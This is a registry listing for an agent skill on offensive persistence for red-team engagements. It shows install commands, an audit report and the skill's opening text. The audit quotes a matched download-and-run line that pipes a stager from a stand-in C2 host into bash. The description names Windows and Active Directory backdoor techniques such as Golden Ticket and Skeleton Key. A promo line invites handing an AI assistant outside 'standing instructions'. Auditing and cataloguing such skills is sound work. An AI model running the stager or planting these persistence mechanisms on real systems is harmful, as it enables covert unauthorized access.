offensive-persistence SKILL.md skillB

offensive-persistence from miosa-osa/osa is an agent skill: a SKILL.md folder an AI agent loads when a task calls for it.

Install it, pinned
mdr add miosa-osa/osa/offensive-persistence@git:20260913.e13b6b8

Pins git:20260913.e13b6b8 in mdr.lock. Pin the fingerprint instead.

Audit grade
B, 16 of 17 checks passed
Kind
SKILL.md skill
Repository
miosa-osa/osa
Path
priv/skills/offensive-persistence/SKILL.md
Versions recorded
1
Latest version
git:20260913.e13b6b8, committed Sep 13, 2026
Size
24,582 bytes
Repository stars
78
License
Apache-2.0

Comprehensive persistence tradecraft for authorized red team engagements covering Windows and Linux mechanisms. Windows techniques include registry Run/RunOnce keys, scheduled tasks, WMI event subscriptions, DLL search order hijacking, COM object hijacking, Startup folder drops, service creation, Security Support Provider (SSP) DLL injection, and Active Directory persistence (AdminSDHolder abuse, DCShadow, Golden Ticket, Silver Ticket, Skeleton Key, SID History injection). Linux techniques…

Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.

What the file says

# Offensive Persistence

Persistence ensures your access survives reboots, password changes, and routine
maintenance. You plant mechanisms that re-establish a session or re-execute
your payload without requiring a new initial compromise. The choice of
persistence technique depends on your privilege level, the target operating
system, the engagement scope, and the detection risk you can tolerate.

This skill covers both Windows and Linux persistence methods, from simple
registry keys to domain-level Active Directory backdoors. Every technique
here assumes you already have code execution on the target. Apply these in
authorized engagements only.

## Quick Workflow

1. Assess your current privilege level (user-level vs admin/root vs domain admin).
2. Identify the target OS version and security controls in place.
3. Select a persistence mechanism matching your access level and stealth needs.
4. Validate the persistence survives a reboot or logoff event.
5. Document the exact mechanism and location for cleanup during engagement close.
6. Layer multiple persistence methods at different privilege levels when scope allows.
…

Read the whole file at its exact version.

How to install

The exact contents, by fingerprint
mdr add miosa-osa/osa/offensive-persistence@sha256:5dae8d7d54e09da4

The line at the top of this page pins the label git:20260913.e13b6b8, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.

Badge

mdr badge

[![mdr](https://markdownregistry.com/badge/art_spuhgsnutd5zjs35.svg)](https://markdownregistry.com/a/art_spuhgsnutd5zjs35)

6 badge image fetches in 30 days. What the badge shows.

Versions

The registry has recorded 1 version of this file, committed on Sep 13, 2026.

versioncommittedcommitsizeaudit
git:20260913.e13b6b8 latest2026-09-13 e13b6b8 24,582 BB view

Audit of the latest version

B  16 of 17 checks passed. Fixed automatic checks with no AI involved, so the same checks give the same answer every run.
  • fail: No curl or wget piped into a shell (matched: curl -s https://c2.example.com/stager | bash)
  • pass: Frontmatter block present
  • pass: Frontmatter declares a name
  • pass: Frontmatter declares a description
  • pass: Size between 200 bytes and 200 KB (24582 bytes)
  • pass: No zero-width or bidi control characters
  • pass: No instruction hidden inside an HTML comment
  • pass: No link to an exfiltration or paste host
  • pass: No credential-shaped string
  • pass: No instruction to send local credentials anywhere
  • pass: No text hidden with inline styles
  • pass: No prompt-injection phrasing
  • pass: No recursive delete of root, home or parent
  • pass: No instruction to read or print local credentials
  • pass: No base64 blob over 200 characters
  • pass: No link to a raw IP address
  • pass: No script tag

Starting a new one? Use a template for SKILL.md on mdpantry, which passes every one of these checks and says what to change in it.

Source

GitHub

miosa-osa/osa · 78 stars · license Apache-2.0 · pushed 2026-10-29 · branch main

API

GET https://markdownregistry.com/api/v1/artifacts/art_spuhgsnutd5zjs35
GET https://markdownregistry.com/api/v1/resolve?ref=miosa-osa/osa/offensive-persistence
GET https://markdownregistry.com/api/v1/blob/5dae8d7d54e09da4f2db47a39e9a578c62f64ae0c6bf8018e66511b9d1ea07fd

Your AI assistant does the legwork. You hear about the deals worth your word. Hand yours the standing instructions at modelranch.com and it joins the network that reads files like this one.

Guides: the SKILL.md format and its required fields · what to check before you install a skill · how to pin a skill to an exact version · where to find agent skills · keeping a team on the same skills · which agent file does what.

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Every file in miosa-osa/osa

Other files named offensive-persistence

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git:20260825.f7a0553 · audit B · 10,442 stars

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